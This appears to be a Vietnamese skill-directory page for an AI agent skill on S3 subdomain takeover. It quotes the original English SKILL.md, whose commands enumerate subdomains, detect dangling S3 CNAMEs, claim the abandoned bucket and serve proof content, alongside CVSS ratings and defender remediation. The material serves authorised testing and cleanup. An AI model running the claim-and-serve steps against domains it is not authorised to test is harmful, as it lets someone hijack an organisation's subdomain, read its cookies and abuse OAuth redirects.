s3-takeover
Skill này làm gì
Skill này bao quát các bản ghi subdomain trỏ đến bucket Amazon S3 không còn tồn tại. Skill dành cho các đội kiểm tra DNS để tìm bản ghi có thể bị lạm dụng.
Khi nào nên dùng
- ✓Khi bạn muốn tìm các bản ghi DNS trỏ đến bucket S3 mà bạn đã xóa.
- ✓Khi một kiểm thử được ủy quyền cần kiểm tra bản ghi lưu trữ đám mây bị bỏ lại.
- ✓Khi một công ty dọn dẹp subdomain cũ sau khi chuyển trang web của mình.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi đã xóa một số bucket S3 cũ. Bạn có thể kiểm tra xem còn subdomain nào trỏ đến chúng không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent liệt kê các subdomain, kiểm tra cái nào trỏ đến host S3, và xác nhận bucket còn tồn tại hay không. Mọi bản ghi bị bỏ lại sẽ được xóa hoặc trỏ lại.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
S3 Subdomain Takeover
When a subdomain has a CNAME to an S3 hostname (e.g.
assets.example.com → assets-example.s3.amazonaws.com) but the bucket
no longer exists, anyone can register that bucket name and serve
content from the subdomain.
1. Enumerate subdomains pointing at S3
From recon SUMMARY.md, look for any CNAME containing:
s3.amazonaws.coms3-website-<region>.amazonaws.coms3.<region>.amazonaws.coms3-website.<region>.amazonaws.com<bucket>.s3.<region>.amazonaws.com- CloudFront/CDN distributions backed by S3 (
.cloudfront.net)
Or run direct:
# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt
# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
echo "$s -> $cname"
fi
done > /tmp/s3-candidates.txt
2. Verify dangling
For each candidate:
# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html
# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling
Decepticon helper:
s3_takeover_check("<subdomain>")
3. Claim the bucket
# In the SAME region the CNAME implies
aws s3api create-bucket \
--bucket "$BUCKET" \
--region us-east-1 \
--create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)
Race conditions:
- AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated).
- For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in.
4. Demonstrate impact (safe)
Static page proof (engagement context — get explicit permission first):
echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html
# Now curl https://$SUBDOMAIN/ returns your content
DO NOT:
- Serve actual exploit content (XSS, drive-by, phishing)
- Capture cookies even though you can (same-origin to the org)
- Leave the bucket up post-engagement
DO:
- Take a timestamped screenshot of your benign content served from the subdomain
- Hand the bucket name over to defender for transfer / cooldown
- Delete the bucket after PoC:
aws s3 rb "s3://$BUCKET" --force
5. Impact framing
A claimed S3 bucket on an org subdomain gives:
- Same-origin scripting vs every page on that subdomain
- Cookie access for cookies scoped to the parent domain (
.example.com) - OAuth redirect_uri abuse if the subdomain is a registered redirect
- MITM-class trust — orgs publish links to the subdomain assuming control
- TLS is "free" via the org's own ACM cert if Route 53 + ACM are configured, otherwise it's an HTTP-only takeover (still bad)
6. Promote
kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")
CVSS
- Subdomain with active OAuth flow / cookie scope:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N= 8.7 - Static-content subdomain only:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N= 7.5 - Subdomain with no apparent purpose (unused): Medium 5-6
Defender remediation
# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
--query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json
# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
while read sd; do
bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
done
Known exemplars
- 2017: Uber subdomain
Câu hỏi thường gặp
Vì sao bản ghi bucket còn sót lại lại rủi ro?
Bất kỳ ai cũng có thể tạo bucket với tên đó và phục vụ nội dung từ subdomain của bạn.
Làm sao xác nhận một bản ghi bị bỏ lại?
Bằng cách yêu cầu địa chỉ đó và kiểm tra phản hồi cho biết bucket không tồn tại (phản hồi “no such bucket”).
Cách sửa là gì?
Xóa bản ghi DNS hoặc trỏ nó đến một bucket mà bạn kiểm soát.
Chi tiết
Mô tả gốc của tác giả
Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14001
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.